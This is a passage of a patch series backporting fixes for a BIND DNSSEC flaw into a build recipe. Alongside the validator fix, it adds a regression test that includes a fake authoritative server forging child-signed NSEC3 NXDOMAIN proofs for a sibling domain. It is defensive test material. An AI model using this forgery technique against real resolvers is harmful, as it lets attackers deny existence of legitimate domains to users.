diff mbox series

[scarthgap,1/6] bind: fix for CVE-2026-10723

Message ID 20260928071115.304055-1-hprajapati@mvista.com
State New
Headers show
Series [scarthgap,1/6] bind: fix for CVE-2026-10723 | expand

Commit Message

Hitendra Prajapati Sept. 28, 2026, 7:11 a.m. UTC
Pick patch from [1], [2] & [3] also mentioned at Debian report in [4]

[1] https://gitlab.isc.org/isc-projects/bind9/-/commit/c9cb6a5e24e43489cf3fd4d4cc2193b6a74499cb
[2] https://gitlab.isc.org/isc-projects/bind9/-/commit/35e3d49d2222c13786a06021c7ed583d2a656e51
[3] https://gitlab.isc.org/isc-projects/bind9/-/commit/833dd3b230b92596074e8da15b12298f46c939f2
[4] https://security-tracker.debian.org/tracker/CVE-2026-10723

Signed-off-by: Hitendra Prajapati <hprajapati@mvista.com>
---
 .../bind/bind/CVE-2026-10723-01.patch         |  70 +++
 .../bind/bind/CVE-2026-10723-02.patch         | 496 ++++++++++++++++++
 .../bind/bind/CVE-2026-10723-03.patch         | 310 +++++++++++
 .../recipes-connectivity/bind/bind_9.18.49.bb |   3 +
 4 files changed, 879 insertions(+)
 create mode 100644 meta/recipes-connectivity/bind/bind/CVE-2026-10723-01.patch
 create mode 100644 meta/recipes-connectivity/bind/bind/CVE-2026-10723-02.patch
 create mode 100644 meta/recipes-connectivity/bind/bind/CVE-2026-10723-03.patch
diff mbox series

Patch

diff --git a/meta/recipes-connectivity/bind/bind/CVE-2026-10723-01.patch b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-01.patch
new file mode 100644
index 0000000000..ffec38aea2
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-01.patch
@@ -0,0 +1,70 @@ 
+From: Evan Hunt <each@isc.org>
+Date: Thu, 21 May 2026 14:41:55 -0700
+Subject: Check NSEC3 signer matches the owning zone
+
+When validating NSEC3 records, reject any signature whose signer field
+does not match the zone owning the NSEC3.
+
+This ensures that a child zone cannot impersonate its parent and forge
+NXDOMAIN responses for sibling domains.
+
+Fixes: isc-projects/bind9#5874
+(cherry picked from commit 6e5066bb1f0f12d090e8707adb7d6ccf74f8012b)
+
+Origin: https://gitlab.isc.org/isc-projects/bind9/-/commit/c9cb6a5e24e43489cf3fd4d4cc2193b6a74499cb
+Bug-Debian-Security: https://security-tracker.debian.org/tracker/CVE-2026-10723
+Bug-Freexian-Security: https://deb.freexian.com/extended-lts/tracker/CVE-2026-10723
+
+CVE: CVE-2026-10723
+Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/-/commit/c9cb6a5e24e43489cf3fd4d4cc2193b6a74499cb]
+Signed-off-by: Hitendra Prajapati <hprajapati@mvista.com>
+---
+ lib/dns/dnssec.c | 19 +++++++++++++++++--
+ lib/isc/result.c |  2 +-
+ 2 files changed, 18 insertions(+), 3 deletions(-)
+
+diff --git a/lib/dns/dnssec.c b/lib/dns/dnssec.c
+index c7e9224..1725de3 100644
+--- a/lib/dns/dnssec.c
++++ b/lib/dns/dnssec.c
+@@ -404,10 +404,25 @@ dns_dnssec_verify(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
+ 	}
+ 
+ 	/*
+-	 * NS, SOA and DNSKEY records are signed by their owner.
+-	 * DS records are signed by the parent.
++	 * NS, SOA and DNSKEY records are signed by their owners.
++	 * NSEC3 records are signed by the apex, exactly one level up
++	 * from their owner names.
++	 * DS records are signed by the parent zone.
+ 	 */
+ 	switch (set->type) {
++	case dns_rdatatype_nsec3: {
++		dns_name_t apex = DNS_NAME_INITEMPTY;
++		labels = dns_name_countlabels(name);
++		if (labels <= 1) {
++			inc_stat(dns_dnssecstats_fail);
++			return DNS_R_INVALIDNSEC3;
++		}
++		dns_name_split(name, labels - 1, NULL, &apex);
++		if (!dns_name_equal(&apex, &sig.signer)) {
++			inc_stat(dns_dnssecstats_fail);
++			return DNS_R_SIGINVALID;
++		}
++	} break;
+ 	case dns_rdatatype_ns:
+ 	case dns_rdatatype_soa:
+ 	case dns_rdatatype_dnskey:
+diff --git a/lib/isc/result.c b/lib/isc/result.c
+index dbd0431..f78e689 100644
+--- a/lib/isc/result.c
++++ b/lib/isc/result.c
+@@ -198,7 +198,7 @@ static const char *description[ISC_R_NRESULTS] = {
+ 	[DNS_R_COVERINGNSEC] = "covering NSEC record returned",
+ 	[DNS_R_MXISADDRESS] = "MX is an address",
+ 	[DNS_R_DUPLICATE] = "duplicate query",
+-	[DNS_R_INVALIDNSEC3] = "invalid NSEC3 owner name (wildcard)",
++	[DNS_R_INVALIDNSEC3] = "invalid NSEC3 owner name",
+ 	[DNS_R_NOTPRIMARY] = "not primary",
+ 	[DNS_R_BROKENCHAIN] = "broken trust chain",
+ 	[DNS_R_EXPIRED] = "expired",
diff --git a/meta/recipes-connectivity/bind/bind/CVE-2026-10723-02.patch b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-02.patch
new file mode 100644
index 0000000000..a3ff47b8bf
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-02.patch
@@ -0,0 +1,496 @@ 
+From: Alessio Podda <alessio@isc.org>
+Date: Wed, 3 Jun 2026 10:42:43 +0200
+Subject: Reproducer for #5874 NSEC3 impersonation
+
+LLM generated.
+
+(cherry picked from commit f3e2eb333be3ac636f745aa13cfb8d9ee8af87d8)
+
+Origin: https://gitlab.isc.org/isc-projects/bind9/-/commit/35e3d49d2222c13786a06021c7ed583d2a656e51
+Bug-Debian-Security: https://security-tracker.debian.org/tracker/CVE-2026-10723
+Bug-Freexian-Security: https://deb.freexian.com/extended-lts/tracker/CVE-2026-10723
+
+CVE: CVE-2026-10723
+Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/-/commit/35e3d49d2222c13786a06021c7ed583d2a656e51b]
+Signed-off-by: Hitendra Prajapati <hprajapati@mvista.com>
+---
+ .../ans1/ans.py}                                   |   8 +-
+ .../repro_5874_nsec3_parent/ns2/named.conf.j2      |  35 +++
+ bin/tests/system/repro_5874_nsec3_parent/server.py | 249 +++++++++++++++++++++
+ .../tests_repro_5874_nsec3_parent.py               | 144 ++++++++++++
+ 4 files changed, 433 insertions(+), 3 deletions(-)
+ copy bin/tests/system/{glue/setup.sh => repro_5874_nsec3_parent/ans1/ans.py} (83%)
+ create mode 100644 bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
+ create mode 100644 bin/tests/system/repro_5874_nsec3_parent/server.py
+ create mode 100644 bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
+
+diff --git a/bin/tests/system/glue/setup.sh b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
+similarity index 83%
+copy from bin/tests/system/glue/setup.sh
+copy to bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
+index 82240a7..614f26a 100644
+--- a/bin/tests/system/glue/setup.sh
++++ b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
+@@ -1,4 +1,4 @@
+-#!/bin/sh
++#!/usr/bin/python3
+ 
+ # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ #
+@@ -11,6 +11,8 @@
+ # See the COPYRIGHT file distributed with this work for additional
+ # information regarding copyright ownership.
+ 
+-. ../conf.sh
++from server import main
+ 
+-copy_setports ns1/named.conf.in ns1/named.conf
++
++if __name__ == "__main__":
++    main()
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
+new file mode 100644
+index 0000000..9358866
+--- /dev/null
++++ b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
+@@ -0,0 +1,35 @@
++// validating resolver
++
++options {
++	query-source address 10.53.0.2;
++	notify-source 10.53.0.2;
++	transfer-source 10.53.0.2;
++	port @PORT@;
++	pid-file "named.pid";
++	listen-on { 10.53.0.2; };
++	listen-on-v6 { none; };
++	recursion yes;
++	dnssec-validation yes;
++	trust-anchor-telemetry no;
++	resolver-query-timeout 5000;
++};
++
++controls {
++	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
++};
++
++include "../../_common/rndc.key";
++
++zone "." {
++	type hint;
++	file "../../_common/root.hint";
++};
++
++zone "tld.test" {
++	type static-stub;
++	server-addresses { 10.53.0.1; };
++};
++
++trust-anchors {
++	tld.test. static-key 257 3 13 "@TLD_DNSKEY@";
++};
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/server.py b/bin/tests/system/repro_5874_nsec3_parent/server.py
+new file mode 100644
+index 0000000..c6856bb
+--- /dev/null
++++ b/bin/tests/system/repro_5874_nsec3_parent/server.py
+@@ -0,0 +1,249 @@
++#!/usr/bin/python3
++
++# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
++#
++# SPDX-License-Identifier: MPL-2.0
++#
++# This Source Code Form is subject to the terms of the Mozilla Public
++# License, v. 2.0.  If a copy of the MPL was not distributed with this
++# file, you can obtain one at https://mozilla.org/MPL/2.0/.
++#
++# See the COPYRIGHT file distributed with this work for additional
++# information regarding copyright ownership.
++
++from collections.abc import AsyncGenerator
++from dataclasses import dataclass
++from pathlib import Path
++
++import json
++
++from cryptography.hazmat.primitives import serialization
++
++import dns.dnssec
++import dns.flags
++import dns.message
++import dns.name
++import dns.rdata
++import dns.rdataclass
++import dns.rcode
++import dns.rdatatype
++import dns.rrset
++
++from isctest.asyncserver import (
++    AsyncDnsServer,
++    DnsResponseSend,
++    QueryContext,
++    ResponseHandler,
++)
++
++TTL = 300
++TLD = "tld.test."
++APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ"
++ATTACKER = f"{APEX_HASH.lower()}.{TLD}"
++VICTIM = f"victim.{TLD}"
++AUTH_IP = "10.53.0.1"
++
++
++@dataclass(frozen=True)
++class Key:
++    zone: dns.name.Name
++    private_key: object
++    dnskey: dns.rdata.Rdata
++    ds: dns.rdata.Rdata
++
++
++def name(text: str) -> dns.name.Name:
++    return dns.name.from_text(text)
++
++
++def load_keys() -> dict[str, Key]:
++    path = Path(__file__).resolve().parent / "keys.json"
++    with path.open(encoding="utf-8") as keys_file:
++        raw_keys = json.load(keys_file)
++
++    keys = {}
++    for zone, raw_key in raw_keys.items():
++        private_key = serialization.load_pem_private_key(
++            raw_key["private_pem"].encode("ascii"),
++            password=None,
++        )
++        dnskey = dns.rdata.from_text(
++            dns.rdataclass.IN, dns.rdatatype.DNSKEY, raw_key["dnskey"]
++        )
++        ds = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.DS, raw_key["ds"])
++        keys[zone] = Key(name(zone), private_key, dnskey, ds)
++
++    return keys
++
++
++def rrset(owner: str, rdtype: dns.rdatatype.RdataType, *rdatas: str) -> dns.rrset.RRset:
++    return dns.rrset.from_text(owner, TTL, dns.rdataclass.IN, rdtype, *rdatas)
++
++
++def rrset_from_rdata(owner: str, rdata: dns.rdata.Rdata) -> dns.rrset.RRset:
++    return dns.rrset.from_rdata(name(owner), TTL, rdata)
++
++
++def rrsig_rrset(covered: dns.rrset.RRset, signer: Key) -> dns.rrset.RRset:
++    rrsig = dns.dnssec.sign(
++        covered,
++        signer.private_key,
++        signer.zone,
++        signer.dnskey,
++        lifetime=86400,
++        verify=True,
++    )
++    return dns.rrset.from_rdata(covered.name, covered.ttl, rrsig)
++
++
++def add_signed(
++    section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key
++) -> None:
++    section.append(covered)
++    section.append(rrsig_rrset(covered, signer))
++
++
++def dnskey_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset:
++    return rrset_from_rdata(zone, zone_key.dnskey)
++
++
++def ds_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset:
++    return rrset_from_rdata(zone, zone_key.ds)
++
++
++def soa_rrset(zone: str) -> dns.rrset.RRset:
++    return rrset(
++        zone,
++        dns.rdatatype.SOA,
++        f"ns.{zone} hostmaster.{zone} 1 3600 600 86400 300",
++    )
++
++
++def ns_rrset(zone: str, ns_target: str) -> dns.rrset.RRset:
++    return rrset(zone, dns.rdatatype.NS, ns_target)
++
++
++def glue_rrset(ns_target: str, address: str) -> dns.rrset.RRset:
++    return rrset(ns_target, dns.rdatatype.A, address)
++
++
++def answer_dnskey(response: dns.message.Message, zone: str, zone_key: Key) -> None:
++    add_signed(response.answer, dnskey_rrset(zone, zone_key), zone_key)
++
++
++def answer_soa(response: dns.message.Message, zone: str, zone_key: Key) -> None:
++    add_signed(response.answer, soa_rrset(zone), zone_key)
++
++
++def answer_ns(
++    response: dns.message.Message, zone: str, ns_target: str, zone_key: Key
++) -> None:
++    add_signed(response.answer, ns_rrset(zone, ns_target), zone_key)
++
++
++def answer_ds(
++    response: dns.message.Message, zone: str, child_key: Key, parent_key: Key
++) -> None:
++    add_signed(response.answer, ds_rrset(zone, child_key), parent_key)
++
++
++def child_nsec3_rrset() -> dns.rrset.RRset:
++    rdata = dns.rdata.from_text(
++        dns.rdataclass.IN,
++        dns.rdatatype.NSEC3,
++        f"1 0 0 - {APEX_HASH} NS SOA RRSIG DNSKEY NSEC3PARAM",
++    )
++    return dns.rrset.from_rdata(name(f"{APEX_HASH}.{TLD}"), TTL, rdata)
++
++
++def forged_nxdomain(response: dns.message.Message, keys: dict[str, Key]) -> None:
++    response.set_rcode(dns.rcode.NXDOMAIN)
++
++    add_signed(response.authority, soa_rrset(TLD), keys[TLD])
++
++    # The owner name derives zone "tld.test.", but the RRSIG signer is the
++    # secure child zone "1b40241kforiog780n4ikscrlvetpctq.tld.test.".
++    add_signed(response.authority, child_nsec3_rrset(), keys[ATTACKER])
++
++
++class SignedResponseHandler(ResponseHandler):
++    def __init__(self, keys: dict[str, Key]) -> None:
++        self.keys = keys
++
++    async def get_responses(
++        self, qctx: QueryContext
++    ) -> AsyncGenerator[DnsResponseSend, None]:
++        qctx.prepare_new_response(with_zone_data=False)
++        qctx.response.flags |= dns.flags.AA
++        qctx.response.set_rcode(dns.rcode.NOERROR)
++        self.respond(qctx)
++        yield DnsResponseSend(qctx.response, authoritative=True)
++
++    def respond(self, qctx: QueryContext) -> None:
++        raise NotImplementedError
++
++
++class VictimForgedNxdomainHandler(SignedResponseHandler):
++    def match(self, qctx: QueryContext) -> bool:
++        return qctx.qname == name(VICTIM) and qctx.qtype == dns.rdatatype.A
++
++    def respond(self, qctx: QueryContext) -> None:
++        forged_nxdomain(qctx.response, self.keys)
++
++
++class ChildDsHandler(SignedResponseHandler):
++    def match(self, qctx: QueryContext) -> bool:
++        return qctx.qname == name(ATTACKER) and qctx.qtype == dns.rdatatype.DS
++
++    def respond(self, qctx: QueryContext) -> None:
++        answer_ds(qctx.response, ATTACKER, self.keys[ATTACKER], self.keys[TLD])
++
++
++class AttackerZoneHandler(SignedResponseHandler):
++    def match(self, qctx: QueryContext) -> bool:
++        return qctx.qname.is_subdomain(name(ATTACKER))
++
++    def respond(self, qctx: QueryContext) -> None:
++        if qctx.qname == name(ATTACKER):
++            if qctx.qtype == dns.rdatatype.DNSKEY:
++                answer_dnskey(qctx.response, ATTACKER, self.keys[ATTACKER])
++            elif qctx.qtype == dns.rdatatype.SOA:
++                answer_soa(qctx.response, ATTACKER, self.keys[ATTACKER])
++            else:
++                answer_ns(qctx.response, ATTACKER, f"ns.{ATTACKER}", self.keys[ATTACKER])
++                qctx.response.additional.append(glue_rrset(f"ns.{ATTACKER}", AUTH_IP))
++            return
++
++        qctx.response.set_rcode(dns.rcode.NXDOMAIN)
++        add_signed(qctx.response.authority, soa_rrset(ATTACKER), self.keys[ATTACKER])
++
++
++class TldZoneHandler(SignedResponseHandler):
++    def match(self, qctx: QueryContext) -> bool:
++        return qctx.qname.is_subdomain(name(TLD))
++
++    def respond(self, qctx: QueryContext) -> None:
++        if qctx.qname == name(TLD):
++            if qctx.qtype == dns.rdatatype.DNSKEY:
++                answer_dnskey(qctx.response, TLD, self.keys[TLD])
++            elif qctx.qtype == dns.rdatatype.SOA:
++                answer_soa(qctx.response, TLD, self.keys[TLD])
++            else:
++                answer_ns(qctx.response, TLD, "ns.tld.test.", self.keys[TLD])
++                qctx.response.additional.append(glue_rrset("ns.tld.test.", AUTH_IP))
++            return
++
++        qctx.response.set_rcode(dns.rcode.NXDOMAIN)
++        add_signed(qctx.response.authority, soa_rrset(TLD), self.keys[TLD])
++
++
++def main() -> None:
++    keys = load_keys()
++    server = AsyncDnsServer(default_aa=True)
++    server.install_response_handlers(
++        VictimForgedNxdomainHandler(keys),
++        ChildDsHandler(keys),
++        AttackerZoneHandler(keys),
++        TldZoneHandler(keys),
++    )
++    server.run()
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
+new file mode 100644
+index 0000000..5fbeff5
+--- /dev/null
++++ b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
+@@ -0,0 +1,144 @@
++#!/usr/bin/python3
++
++# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
++#
++# SPDX-License-Identifier: MPL-2.0
++#
++# This Source Code Form is subject to the terms of the Mozilla Public
++# License, v. 2.0.  If a copy of the MPL was not distributed with this
++# file, you can obtain one at https://mozilla.org/MPL/2.0/.
++#
++# See the COPYRIGHT file distributed with this work for additional
++# information regarding copyright ownership.
++
++from pathlib import Path
++
++import json
++
++from cryptography.hazmat.primitives import serialization
++from cryptography.hazmat.primitives.asymmetric import ec
++
++import dns.dnssec
++import dns.flags
++import dns.name
++import dns.rdataclass
++import dns.rdatatype
++import pytest
++
++import isctest
++
++APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ"
++ATTACKER = f"{APEX_HASH.lower()}.tld.test."
++VICTIM = "victim.tld.test."
++AUTH = "10.53.0.1"
++RESOLVER = "10.53.0.2"
++
++pytestmark = pytest.mark.extra_artifacts(
++    [
++        "ans*/ans.run",
++        "keys.json",
++    ]
++)
++
++
++def _make_key(zone):
++    private_key = ec.generate_private_key(ec.SECP256R1())
++    dnskey = dns.dnssec.make_dnskey(
++        private_key.public_key(),
++        algorithm="ECDSAP256SHA256",
++        flags=257,
++    )
++    ds = dns.dnssec.make_ds(dns.name.from_text(zone), dnskey, "SHA256")
++    private_pem = private_key.private_bytes(
++        encoding=serialization.Encoding.PEM,
++        format=serialization.PrivateFormat.PKCS8,
++        encryption_algorithm=serialization.NoEncryption(),
++    ).decode("ascii")
++    return {
++        "private_pem": private_pem,
++        "dnskey": dnskey.to_text(),
++        "ds": ds.to_text(),
++    }
++
++
++def bootstrap():
++    zones = ["tld.test.", ATTACKER]
++    keys = {zone: _make_key(zone) for zone in zones}
++
++    Path("keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii")
++
++    tld_dnskey = "".join(keys["tld.test."]["dnskey"].split()[3:])
++    return {"TLD_DNSKEY": tld_dnskey}
++
++
++def _check_direct_dnskey_response(zone):
++    query = isctest.query.create(zone, "DNSKEY")
++    response = isctest.query.tcp(query, AUTH)
++
++    isctest.check.noerror(response)
++    assert response.flags & dns.flags.AA
++    assert (
++        response.get_rrset(
++            response.answer,
++            dns.name.from_text(zone),
++            dns.rdataclass.IN,
++            dns.rdatatype.DNSKEY,
++        )
++        is not None
++    ), response
++
++
++def _check_direct_ds_response(zone):
++    query = isctest.query.create(zone, "DS")
++    response = isctest.query.tcp(query, AUTH)
++
++    isctest.check.noerror(response)
++    assert response.flags & dns.flags.AA
++    assert (
++        response.get_rrset(
++            response.answer,
++            dns.name.from_text(zone),
++            dns.rdataclass.IN,
++            dns.rdatatype.DS,
++        )
++        is not None
++    ), response
++
++
++def test_repro_5874_direct_forged_nsec3_response_has_child_signer():
++    _check_direct_dnskey_response("tld.test.")
++    _check_direct_dnskey_response(ATTACKER)
++    _check_direct_ds_response(ATTACKER)
++
++    query = isctest.query.create(VICTIM, "A")
++    response = isctest.query.tcp(query, AUTH)
++
++    isctest.check.nxdomain(response)
++    assert response.flags & dns.flags.AA
++
++    nsec3_owner = dns.name.from_text(f"{APEX_HASH}.tld.test.")
++    nsec3 = response.get_rrset(
++        response.authority,
++        nsec3_owner,
++        dns.rdataclass.IN,
++        dns.rdatatype.NSEC3,
++    )
++    rrsig = response.get_rrset(
++        response.authority,
++        nsec3_owner,
++        dns.rdataclass.IN,
++        dns.rdatatype.RRSIG,
++        covers=dns.rdatatype.NSEC3,
++    )
++
++    assert nsec3 is not None, response
++    assert rrsig is not None, response
++    assert rrsig[0].signer == dns.name.from_text(ATTACKER)
++
++
++def test_repro_5874_resolver_rejects_child_signed_nsec3_parent_proof():
++    query = isctest.query.create(VICTIM, "A")
++    response = isctest.query.tcp(query, RESOLVER)
++
++    isctest.check.servfail(response)
++    isctest.check.noadflag(response)
diff --git a/meta/recipes-connectivity/bind/bind/CVE-2026-10723-03.patch b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-03.patch
new file mode 100644
index 0000000000..5461b3c87e
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind/CVE-2026-10723-03.patch
@@ -0,0 +1,310 @@ 
+From: Matthijs Mekking <matthijs@isc.org>
+Date: Thu, 4 Jun 2026 16:12:50 +0200
+Subject: Update reproducer #5874
+
+Update the llm generated reproducer:
+- Move server.py into ans1/ans.py
+- Remove unnecessary named.conf configuration options
+- Add comments describing the steps (copied from GL issue)
+- Rename system test
+
+(cherry picked from commit c1321fef165a2ef8c2bff971901c58941e8e694c)
+
+Origin: https://gitlab.isc.org/isc-projects/bind9/-/commit/833dd3b230b92596074e8da15b12298f46c939f2
+Bug-Debian-Security: https://security-tracker.debian.org/tracker/CVE-2026-10723
+Bug-Freexian-Security: https://deb.freexian.com/extended-lts/tracker/CVE-2026-10723
+
+CVE: CVE-2026-10723
+Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/-/commit/833dd3b230b92596074e8da15b12298f46c939f2]
+Signed-off-by: Hitendra Prajapati <hprajapati@mvista.com>
+---
+ .../server.py => nsec3_impersonation/ans1/ans.py}  | 81 +++++++++++++++-------
+ .../ns2/named.conf.j2                              |  2 -
+ .../tests_nsec3_impersonation.py}                  | 38 ++++++----
+ .../system/repro_5874_nsec3_parent/ans1/ans.py     | 18 -----
+ 4 files changed, 79 insertions(+), 60 deletions(-)
+ rename bin/tests/system/{repro_5874_nsec3_parent/server.py => nsec3_impersonation/ans1/ans.py} (83%)
+ rename bin/tests/system/{repro_5874_nsec3_parent => nsec3_impersonation}/ns2/named.conf.j2 (90%)
+ rename bin/tests/system/{repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py => nsec3_impersonation/tests_nsec3_impersonation.py} (84%)
+ delete mode 100644 bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
+
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/server.py b/bin/tests/system/nsec3_impersonation/ans1/ans.py
+similarity index 83%
+rename from bin/tests/system/repro_5874_nsec3_parent/server.py
+rename to bin/tests/system/nsec3_impersonation/ans1/ans.py
+index c6856bb..177e79c 100644
+--- a/bin/tests/system/repro_5874_nsec3_parent/server.py
++++ b/bin/tests/system/nsec3_impersonation/ans1/ans.py
+@@ -23,9 +23,9 @@ import dns.dnssec
+ import dns.flags
+ import dns.message
+ import dns.name
++import dns.rcode
+ import dns.rdata
+ import dns.rdataclass
+-import dns.rcode
+ import dns.rdatatype
+ import dns.rrset
+ 
+@@ -141,10 +141,21 @@ def answer_ns(
+     add_signed(response.answer, ns_rrset(zone, ns_target), zone_key)
+ 
+ 
+-def answer_ds(
+-    response: dns.message.Message, zone: str, child_key: Key, parent_key: Key
+-) -> None:
+-    add_signed(response.answer, ds_rrset(zone, child_key), parent_key)
++class SignedResponseHandler(ResponseHandler):
++    def __init__(self, keys: dict[str, Key]) -> None:
++        self.keys = keys
++
++    async def get_responses(
++        self, qctx: QueryContext
++    ) -> AsyncGenerator[DnsResponseSend, None]:
++        qctx.prepare_new_response(with_zone_data=False)
++        qctx.response.flags |= dns.flags.AA
++        qctx.response.set_rcode(dns.rcode.NOERROR)
++        self.respond(qctx)
++        yield DnsResponseSend(qctx.response, authoritative=True)
++
++    def respond(self, qctx: QueryContext) -> None:
++        raise NotImplementedError
+ 
+ 
+ def child_nsec3_rrset() -> dns.rrset.RRset:
+@@ -162,28 +173,15 @@ def forged_nxdomain(response: dns.message.Message, keys: dict[str, Key]) -> None
+     add_signed(response.authority, soa_rrset(TLD), keys[TLD])
+ 
+     # The owner name derives zone "tld.test.", but the RRSIG signer is the
+-    # secure child zone "1b40241kforiog780n4ikscrlvetpctq.tld.test.".
++    # malicious child zone "1b40241kforiog780n4ikscrlvetpctq.tld.test.".
+     add_signed(response.authority, child_nsec3_rrset(), keys[ATTACKER])
+ 
+ 
+-class SignedResponseHandler(ResponseHandler):
+-    def __init__(self, keys: dict[str, Key]) -> None:
+-        self.keys = keys
+-
+-    async def get_responses(
+-        self, qctx: QueryContext
+-    ) -> AsyncGenerator[DnsResponseSend, None]:
+-        qctx.prepare_new_response(with_zone_data=False)
+-        qctx.response.flags |= dns.flags.AA
+-        qctx.response.set_rcode(dns.rcode.NOERROR)
+-        self.respond(qctx)
+-        yield DnsResponseSend(qctx.response, authoritative=True)
+-
+-    def respond(self, qctx: QueryContext) -> None:
+-        raise NotImplementedError
+-
+-
+ class VictimForgedNxdomainHandler(SignedResponseHandler):
++    """
++    This serves the forged response for the victim's domain.
++    """
++
+     def match(self, qctx: QueryContext) -> bool:
+         return qctx.qname == name(VICTIM) and qctx.qtype == dns.rdatatype.A
+ 
+@@ -192,14 +190,31 @@ class VictimForgedNxdomainHandler(SignedResponseHandler):
+ 
+ 
+ class ChildDsHandler(SignedResponseHandler):
++    """
++    This will spoof the response for the malicious zone when qtype is DS.
++    It is actually a validly signed DS response.
++    """
++
+     def match(self, qctx: QueryContext) -> bool:
+         return qctx.qname == name(ATTACKER) and qctx.qtype == dns.rdatatype.DS
+ 
+     def respond(self, qctx: QueryContext) -> None:
+-        answer_ds(qctx.response, ATTACKER, self.keys[ATTACKER], self.keys[TLD])
++        response = qctx.response
++        zone = ATTACKER
++        child_key = self.keys[ATTACKER]
++        parent_key = self.keys[TLD]
++
++        add_signed(response.answer, ds_rrset(zone, child_key), parent_key)
+ 
+ 
+ class AttackerZoneHandler(SignedResponseHandler):
++    """
++    Acts as the malicious authoritative name server. The zone being served
++    is the hashed label of the parent zone (tld.test). This will respond
++    for all queries qtype SOA, DNSKEY, NS at the apex. Any names below
++    the apex are answered with an NXDOMAIN with no NSEC or NSEC3 present.
++    """
++
+     def match(self, qctx: QueryContext) -> bool:
+         return qctx.qname.is_subdomain(name(ATTACKER))
+ 
+@@ -210,7 +225,9 @@ class AttackerZoneHandler(SignedResponseHandler):
+             elif qctx.qtype == dns.rdatatype.SOA:
+                 answer_soa(qctx.response, ATTACKER, self.keys[ATTACKER])
+             else:
+-                answer_ns(qctx.response, ATTACKER, f"ns.{ATTACKER}", self.keys[ATTACKER])
++                answer_ns(
++                    qctx.response, ATTACKER, f"ns.{ATTACKER}", self.keys[ATTACKER]
++                )
+                 qctx.response.additional.append(glue_rrset(f"ns.{ATTACKER}", AUTH_IP))
+             return
+ 
+@@ -219,6 +236,16 @@ class AttackerZoneHandler(SignedResponseHandler):
+ 
+ 
+ class TldZoneHandler(SignedResponseHandler):
++    """
++    Acts as the TLD who is being used in the attack, but is not a standard
++    name server. It only responds with validly signed records for DNSKEY, SOA
++    and NS on the apex. Any names below the apex are answered with an NXDOMAIN
++    with no NSEC or NSEC3 present.
++
++    If we turn this into a regular name server than the attack won't work.
++    The attack assumes that the adversary can inject these responses on-path.
++    """
++
+     def match(self, qctx: QueryContext) -> bool:
+         return qctx.qname.is_subdomain(name(TLD))
+ 
+@@ -247,3 +274,7 @@ def main() -> None:
+         TldZoneHandler(keys),
+     )
+     server.run()
++
++
++if __name__ == "__main__":
++    main()
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 b/bin/tests/system/nsec3_impersonation/ns2/named.conf.j2
+similarity index 90%
+rename from bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
+rename to bin/tests/system/nsec3_impersonation/ns2/named.conf.j2
+index 9358866..2c9b0bb 100644
+--- a/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
++++ b/bin/tests/system/nsec3_impersonation/ns2/named.conf.j2
+@@ -10,8 +10,6 @@ options {
+ 	listen-on-v6 { none; };
+ 	recursion yes;
+ 	dnssec-validation yes;
+-	trust-anchor-telemetry no;
+-	resolver-query-timeout 5000;
+ };
+ 
+ controls {
+diff --git a/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py b/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py
+similarity index 84%
+rename from bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
+rename to bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py
+index 5fbeff5..bd9bd27 100644
+--- a/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
++++ b/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py
+@@ -26,6 +26,7 @@ import dns.rdatatype
+ import pytest
+ 
+ import isctest
++import isctest.mark
+ 
+ APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ"
+ ATTACKER = f"{APEX_HASH.lower()}.tld.test."
+@@ -33,12 +34,15 @@ VICTIM = "victim.tld.test."
+ AUTH = "10.53.0.1"
+ RESOLVER = "10.53.0.2"
+ 
+-pytestmark = pytest.mark.extra_artifacts(
+-    [
+-        "ans*/ans.run",
+-        "keys.json",
+-    ]
+-)
++pytestmark = [
++    isctest.mark.with_ecdsa_deterministic,
